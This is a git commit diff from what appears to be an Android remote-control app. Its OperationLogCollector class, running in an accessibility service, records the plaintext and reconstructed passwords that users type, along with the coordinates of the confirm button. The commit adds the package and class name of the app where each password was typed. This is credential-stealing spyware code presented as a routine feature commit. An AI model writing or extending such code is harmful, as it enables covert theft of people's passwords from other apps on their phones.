feat: upload latest android source changes
This commit is contained in:
@@ -1118,7 +1118,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||||
"relativeTime" to (currentTime - passwordInputStartTime),
|
||||
"actualPasswordText" to cleanActualText,
|
||||
"displayText" to actualText,
|
||||
"numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
|
||||
"numericSequenceLength" to sequenceLength, // ✅ 添加序列长度信息
|
||||
"packageName" to packageName,
|
||||
"className" to className
|
||||
)
|
||||
|
||||
passwordInputEvents.add(inputEvent)
|
||||
@@ -1288,6 +1290,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||||
|
||||
// 构建详细的分析信息文本 - ✅ 使用实际密码长度
|
||||
val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
|
||||
val lastEvent = passwordInputEvents.lastOrNull()
|
||||
val sourcePackageName = lastEvent?.get("packageName") as? String ?: ""
|
||||
val sourceClassName = lastEvent?.get("className") as? String ?: ""
|
||||
|
||||
logScope.launch {
|
||||
val extraData = mutableMapOf<String, Any>(
|
||||
@@ -1303,7 +1308,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||||
"enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
|
||||
"legacyPasswordType" to passwordType, // ✅ 添加传统类型
|
||||
"originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
|
||||
"correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
|
||||
"correctedPasswordLength" to actualPasswordLength, // ✅ 校正后的长度
|
||||
"sourcePackageName" to sourcePackageName,
|
||||
"sourceClassName" to sourceClassName
|
||||
)
|
||||
|
||||
// ✅ 如果有确认按钮坐标,记录到extraData中
|
||||
@@ -4373,4 +4380,4 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||||
|
||||
return isKeyboardRelated && hasNumericContent
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user